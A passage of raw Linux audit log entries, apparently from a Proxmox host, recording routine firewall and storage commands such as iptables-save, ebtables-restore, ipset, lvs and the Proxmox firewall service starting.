name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096063,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.063:59566): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965634934,"@rawstring":"node=pve type=PATH msg=audit(1781965634.934:66435): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096057,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.057:59565): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965634934,"@rawstring":"node=pve type=PATH msg=audit(1781965634.934:66435): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096051,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.051:59564): proctitle=697073657400726573746F7265"} {"@timestamp":1781965633762,"@rawstring":"node=pve type=PATH msg=audit(1781965633.762:66434): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096044,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.044:59563): proctitle=\"ip6tables-save\""} {"@timestamp":1781965633762,"@rawstring":"node=pve type=PATH msg=audit(1781965633.762:66434): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.036:59562): proctitle=\"iptables-save\""} {"@timestamp":1781965633762,"@rawstring":"node=pve type=PATH msg=audit(1781965633.762:66433): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096032,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.032:59561): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965633762,"@rawstring":"node=pve type=PATH msg=audit(1781965633.762:66432): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.029:59560): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965633751,"@rawstring":"node=pve type=PATH msg=audit(1781965633.751:66431): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096027,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.027:59559): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965633751,"@rawstring":"node=pve type=PATH msg=audit(1781965633.751:66431): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096026,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.026:59558): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965633751,"@rawstring":"node=pve type=PATH msg=audit(1781965633.751:66430): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096019,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.019:59557): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965633751,"@rawstring":"node=pve type=PATH msg=audit(1781965633.751:66429): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096013,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.013:59556): proctitle=\"ip6tables-save\""} {"@timestamp":1781965628741,"@rawstring":"node=pve type=PATH msg=audit(1781965628.741:66428): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096005,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.005:59555): proctitle=\"iptables-save\""} {"@timestamp":1781965628741,"@rawstring":"node=pve type=PATH msg=audit(1781965628.741:66428): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964096000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964096.000:59554): proctitle=69707365740073617665"} {"@timestamp":1781965628741,"@rawstring":"node=pve type=PATH msg=audit(1781965628.741:66427): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964095992,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964095.992:59553): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965628741,"@rawstring":"node=pve type=PATH msg=audit(1781965628.741:66426): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964095985,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964095.985:59552): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965628732,"@rawstring":"node=pve type=PATH msg=audit(1781965628.732:66425): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964094900,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964094.900:59551): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965628732,"@rawstring":"node=pve type=PATH msg=audit(1781965628.732:66425): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964094871,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964094.871:59550): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965628732,"@rawstring":"node=pve type=PATH msg=audit(1781965628.732:66424): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964092898,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964092.898:59549): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965628732,"@rawstring":"node=pve type=PATH msg=audit(1781965628.732:66423): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964092898,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964092.898:59548): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625779,"@rawstring":"node=pve type=PATH msg=audit(1781965625.779:66422): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964092898,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964092.898:59547): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625779,"@rawstring":"node=pve type=PATH msg=audit(1781965625.779:66422): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964092892,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964092.892:59546): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625775,"@rawstring":"node=pve type=PATH msg=audit(1781965625.775:66421): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964092892,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964092.892:59545): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625775,"@rawstring":"node=pve type=PATH msg=audit(1781965625.775:66421): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964092892,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964092.892:59544): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625773,"@rawstring":"node=pve type=PATH msg=audit(1781965625.773:66420): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964087883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964087.883:59543): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625773,"@rawstring":"node=pve type=PATH msg=audit(1781965625.773:66420): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964087883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964087.883:59542): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625773,"@rawstring":"node=pve type=PATH msg=audit(1781965625.773:66419): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964087883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964087.883:59541): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625769,"@rawstring":"node=pve type=PATH msg=audit(1781965625.769:66418): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964087878,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964087.878:59540): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625769,"@rawstring":"node=pve type=PATH msg=audit(1781965625.769:66418): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964087878,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964087.878:59539): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625769,"@rawstring":"node=pve type=PATH msg=audit(1781965625.769:66418): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964087878,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964087.878:59538): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625760,"@rawstring":"node=pve type=PATH msg=audit(1781965625.760:66417): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085973,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.973:59537): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965625760,"@rawstring":"node=pve type=PATH msg=audit(1781965625.760:66417): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.969:59536): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965625751,"@rawstring":"node=pve type=PATH msg=audit(1781965625.751:66416): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085968,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.968:59535): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965625751,"@rawstring":"node=pve type=PATH msg=audit(1781965625.751:66416): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085968,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.968:59534): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965625743,"@rawstring":"node=pve type=PATH msg=audit(1781965625.743:66415): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085964,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.964:59533): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965625743,"@rawstring":"node=pve type=PATH msg=audit(1781965625.743:66415): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.958:59532): proctitle=\"ip6tables-save\""} {"@timestamp":1781965625734,"@rawstring":"node=pve type=PATH msg=audit(1781965625.734:66414): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085951,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.951:59531): proctitle=\"iptables-save\""} {"@timestamp":1781965625734,"@rawstring":"node=pve type=PATH msg=audit(1781965625.734:66414): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085945,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.945:59530): proctitle=\"ip6tables-save\""} {"@timestamp":1781965625724,"@rawstring":"node=pve type=PATH msg=audit(1781965625.724:66412): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085938,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.938:59529): proctitle=\"iptables-save\""} {"@timestamp":1781965625724,"@rawstring":"node=pve type=PATH msg=audit(1781965625.724:66412): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085934,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.934:59528): proctitle=\"ebtables-restore\""} {"@timestamp":1781965625717,"@rawstring":"node=pve type=PATH msg=audit(1781965625.717:66411): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085932,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.932:59527): proctitle=\"ebtables-restore\""} {"@timestamp":1781965625717,"@rawstring":"node=pve type=PATH msg=audit(1781965625.717:66411): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085927,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.927:59526): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965625708,"@rawstring":"node=pve type=PATH msg=audit(1781965625.708:66410): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.922:59525): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965625708,"@rawstring":"node=pve type=PATH msg=audit(1781965625.708:66410): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085916,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.916:59524): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965625700,"@rawstring":"node=pve type=PATH msg=audit(1781965625.700:66409): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085910,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.910:59523): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965625700,"@rawstring":"node=pve type=PATH msg=audit(1781965625.700:66409): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085905,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.905:59522): proctitle=697073657400726573746F7265"} {"@timestamp":1781965625691,"@rawstring":"node=pve type=PATH msg=audit(1781965625.691:66408): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.896:59521): proctitle=\"ip6tables-save\""} {"@timestamp":1781965625691,"@rawstring":"node=pve type=PATH msg=audit(1781965625.691:66408): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085889,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.889:59520): proctitle=\"iptables-save\""} {"@timestamp":1781965625684,"@rawstring":"node=pve type=PATH msg=audit(1781965625.684:66407): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.883:59519): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965625684,"@rawstring":"node=pve type=PATH msg=audit(1781965625.684:66407): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085880,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.880:59518): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965625675,"@rawstring":"node=pve type=PATH msg=audit(1781965625.675:66406): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085879,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.879:59517): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965625675,"@rawstring":"node=pve type=PATH msg=audit(1781965625.675:66406): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085879,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.879:59516): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965625667,"@rawstring":"node=pve type=PATH msg=audit(1781965625.667:66405): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085876,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.876:59515): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965625667,"@rawstring":"node=pve type=PATH msg=audit(1781965625.667:66405): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085868,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.868:59514): proctitle=\"ip6tables-save\""} {"@timestamp":1781965625663,"@rawstring":"node=pve type=PATH msg=audit(1781965625.663:66404): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085861,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.861:59513): proctitle=\"iptables-save\""} {"@timestamp":1781965625663,"@rawstring":"node=pve type=PATH msg=audit(1781965625.663:66404): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085857,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.857:59512): proctitle=69707365740073617665"} {"@timestamp":1781965625655,"@rawstring":"node=pve type=PATH msg=audit(1781965625.655:66403): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085850,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.850:59511): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965625655,"@rawstring":"node=pve type=PATH msg=audit(1781965625.655:66403): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964085843,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964085.843:59510): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965625654,"@rawstring":"node=pve type=PATH msg=audit(1781965625.654:66402): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964084791,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964084.791:59509): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965625654,"@rawstring":"node=pve type=PATH msg=audit(1781965625.654:66402): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964084761,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964084.761:59508): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965625654,"@rawstring":"node=pve type=PATH msg=audit(1781965625.654:66401): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964082864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964082.864:59507): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965625650,"@rawstring":"node=pve type=PATH msg=audit(1781965625.650:66400): item=2 